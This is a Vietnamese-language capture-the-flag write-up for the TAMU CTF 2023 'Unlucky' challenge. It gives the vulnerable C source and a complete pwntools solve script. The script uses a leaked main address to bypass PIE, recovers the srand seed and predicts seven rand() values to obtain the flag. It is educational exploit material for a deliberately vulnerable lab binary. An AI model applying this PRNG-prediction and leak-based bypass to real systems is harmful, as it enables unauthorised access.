🙁Unlucky - TAMU CTF 2023

Challenge

Analysis

Khi chạy binary thì ta nhận được địa chỉ leak của 1 thứ gì đó:

Checksec:

unlucky.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    static int seed = 69;
    srand(&seed);
    printf("Here's a lucky number: %p\n", &main);
    int lol = 1;
    int input = 0;
    for (int i = 1; i <= 7; ++i) {
        printf("Enter lucky number #%d:\n", i);
        scanf("%d", &input);
        if (rand() != input) {
            lol = 0;
        }
    }
    if (lol != 0) {
        char flag[64] = {0};
        FILE* f = fopen("flag.txt", "r");
        fread(flag, 1, sizeof(flag), f);
        printf("Nice work, here's the flag: %s\n", flag);
    } else {
        puts("How unlucky :pensive:");
    }
}

Thì nhìn source code trên thì ta có thể thấy ngay địa chỉ bị leak là địa chỉ của hàm main.

Có thể thấy nó đặt một biến seed thành 69, sau đó truyền địa chỉ của nó vào trong hàm srand(&seed). Sau đó chúng ta phải đoán đúng toàn bộ 7 số xuất hiện đầu tiên được tạo ra bởi rand() để có thể lấy được flag.

PIE được enable, địa chỉ của seed sẽ được randomize --> nên sẽ không thể dùng nó trực tiếp. Nhưng địa chỉ leak của hàm main mà ta thấy ở trên có thể dễ dàng lấy được địa chỉ biến seed vì vậy có thể bỏ qua PIE.

Sau khi debug thì tôi biết biến seed:

Payload dùng cho phần này sẽ là:

r.recvuntil("Here's a lucky number: ")
# Given Main Leak
main_leak = int(r.recvline(), 16)
elf.address = main_leak - elf.sym["main"]
log.success(f"Main: {hex(elf.address)}")

seed = elf.sym["seed.2870"]
log.success(f"Seed: {seed}")

Sau khi lấy được địa chỉ của biến seed:

Thì tôi sẽ có payload hoàn thiện pass 7 condition của chương trình:

from pwn import *
from ctypes import CDLL

r = remote("tamuctf.com", 443, ssl=True, sni="unlucky")

elf = context.binary = ELF("./unlucky")
#r = elf.process()
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
context.clear(os = "linux", arch='x86_64', log_level="debug")

r.recvuntil("Here's a lucky number: ")
# Given Main Leak
main_leak = int(r.recvline(), 16)
elf.address = main_leak - elf.sym["main"]
log.success(f"Main: {hex(elf.address)}")

seed = elf.sym["seed.2870"]
log.success(f"Seed: {hex(seed)}")
libc.srand(seed)

for i in range(7):
    r.sendlineafter(b":\n", str(libc.rand()))
r.interactive()

Last updated